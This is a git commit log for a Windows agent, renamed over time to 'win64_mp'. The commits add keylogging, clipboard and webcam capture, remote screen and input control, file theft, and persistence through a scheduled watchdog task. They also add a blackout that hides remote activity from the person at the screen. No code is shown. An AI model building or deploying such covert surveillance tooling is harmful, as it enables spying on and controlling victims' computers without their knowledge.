kato
149fcde379
feat(agent): add screen blackout feature
...
- Physical displays blanked via overlay
- Remote video and input keep working
- Exclude overlay from screen capture
- Add blackout API and UI toggle
- Wire flag through capture protocol
2026-09-02 13:32:21 +03:00
kato
45f345123d
fix(mic): harden capture session shutdown
...
- Prevent deadlock when stopping capture
- Make file recorder writes thread-safe
- Add idempotent close for recorder
- Cap waveIn devices and recover panics
- Validate mic device range in HTTP API
2026-09-02 01:09:45 +03:00
kato
eaa46e7494
Audio
2026-09-02 01:00:09 +03:00
kato
977da8b109
feat(watchdog): separate watchdog from startup
...
- Add /api/v1/watchdog to enable/disable
- Scheduled task now runs every 15 minutes
- Use schtasks command line instead of XML
- Dashboard shows watchdog enabled state
- Preserve watchdog state during install
2026-09-02 00:15:37 +03:00
kato
ac31e52a8c
feat(agent): add persistent klogging settings
...
- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build
2026-09-01 23:36:39 +03:00
kato
a3c78820ed
refactor(capture): screen capture in subprocess
...
- Move screen capture to child process
- Isolate GDI/BitBlt crashes from agent
- Use -capture flag for internal helper mode
- Add protocol for frame request/response
- Make monitor enumeration thread-safe
2026-09-01 23:25:38 +03:00
kato
e74f74bc4e
fix(startup): make watchdog task keep agent alive
...
- Use Task Scheduler XML instead of /TR
- Run -ensure agent in-process, not child
- Add console close and panic protection
- Guard nil event channels after stop
- Add non-Windows stubs for startup/mutex
2026-09-01 23:12:22 +03:00
kato
e7982c5487
feat(files): add folder download as zip
...
- Add zip folder API endpoint
- Add download button to folder rows
- Enforce max archive size limit
- Document endpoint in OpenAPI
2026-09-01 20:20:15 +03:00
kato
1bba2c6b51
feat(update): add update deployment via web UI
...
- Deploy exe to alternate port 5033
- Current instance keeps running
- Add parallel mode and addr flag
- Add update panel to web UI
- Update OpenAPI spec and CLI
2026-09-01 20:17:06 +03:00
kato
2318684e93
refactor(core): add headless run and auto-restart
...
- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper
2026-09-01 20:12:12 +03:00
kato
2ce438852a
Refactor web interface styles and structure for improved design and usability. Update CSS variables for a dark theme, enhance layout with glassmorphism effects, and streamline status item rendering in JavaScript. Add a danger class to delete buttons for better visibility.
2026-08-29 18:37:36 +03:00
kato
dece8b3ebe
Add webcam functionality to the agent's API and web interface. Implement endpoints for listing available webcams and capturing frames, along with corresponding UI elements for device selection and frame display. Update OpenAPI specification to include new webcam features, enhancing user interaction with webcam devices.
2026-08-29 18:34:05 +03:00
kato
421c83afd2
Implement video interaction features in web interface. Add a checkbox for enabling/disabling keyboard and mouse input to the remote, along with corresponding UI updates and styles. Enhance user feedback with dynamic hints based on interaction state, improving overall usability.
2026-08-29 18:27:11 +03:00
kato
c788ccc825
Enhance file download handling and web interface. Update the download handler to support inline previews based on query parameters. Introduce a preview button for supported file types in the web interface, along with corresponding styles for action buttons. This improves user experience by allowing direct file previews without downloads.
2026-08-29 18:26:27 +03:00
kato
b6cb25a0f4
Add HTTP Basic authentication to the agent's API. Update OpenAPI specification to include security requirements and modify the server handler to enforce authentication. Introduce default admin credentials for access control.
2026-08-29 18:15:46 +03:00
kato
35d8332d9c
Update project references from "System Monitor Agent" to "win64_mp" throughout the codebase, including changes to executable names, comments, and documentation for improved clarity and consistency.
2026-08-28 13:30:12 +03:00
kato
09076079fb
Rename Local Management Agent to System Monitor Agent throughout the codebase, including updates to executable names, comments, and documentation. This change reflects a broader scope of functionality and improves clarity in the project's purpose.
2026-08-28 13:26:50 +03:00
kato
6a070391c8
Add OpenAPI specification support to the agent. Implement a new endpoint for serving OpenAPI documentation and refactor the existing handler to utilize the new specification. Add tests to ensure the correctness of the OpenAPI spec generation.
2026-08-28 13:23:41 +03:00
kato
4f8ee5f6be
Add log viewing and downloading functionality to the web interface. Implement interactive log selection with visual feedback, and enhance modifier button states for improved user experience. Update styles for better accessibility and usability of log-related elements.
2026-08-28 13:22:59 +03:00
kato
ea71090a53
Refactor input handling to unify mouse and keyboard input structures. Update key event processing to support extended key flags and improve error logging for input operations. Adjust key mappings for consistency across input types.
2026-08-28 13:20:04 +03:00
kato
2a6680c5bf
Add key input handling functionality to the agent. Implement API endpoint for sending key presses with support for action types (tap, down, up) and modifiers. Update web interface to allow users to send keys and toggle modifier states through a new interactive element.
2026-08-28 13:11:56 +03:00
kato
077d9ab850
Add clipboard monitoring functionality to the agent. Implement clipboard event logging, including text and image capture, with support for retention policies. Update API to allow file deletion and enhance web interface for file management. Add tests for clipboard operations.
2026-08-28 13:08:14 +03:00
kato
fe560c6a65
Add file upload functionality to the agent. Implement API endpoint for uploading files, including validation and error handling. Update web interface to support file selection and display upload status. Enhance input handling with configurable key delay for text input.
2026-08-28 12:52:26 +03:00
kato
d48c2044bc
Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
2026-08-28 12:44:09 +03:00
kato
16d7aa75b3
Add input handling functionality to the agent. Implement API endpoints for mouse click and text input, and update the web interface to support video capture and interaction features.
2026-08-18 19:12:25 +03:00
kato
f24e31da27
Add startup management functionality to the agent. Implement API endpoints for enabling and disabling startup, and update the web interface to reflect the current startup state.
2026-08-18 17:06:20 +03:00
kato
4795c25da7
Update README with build instructions for Windows and refactor agent handlers. Replace handleIndex with handleWeb in Serve method, and remove handleIndex function from handlers.go.
2026-08-18 16:55:42 +03:00
kato
f0515d7342
Initial commit with project setup and basic structure established.
2026-08-18 16:40:50 +03:00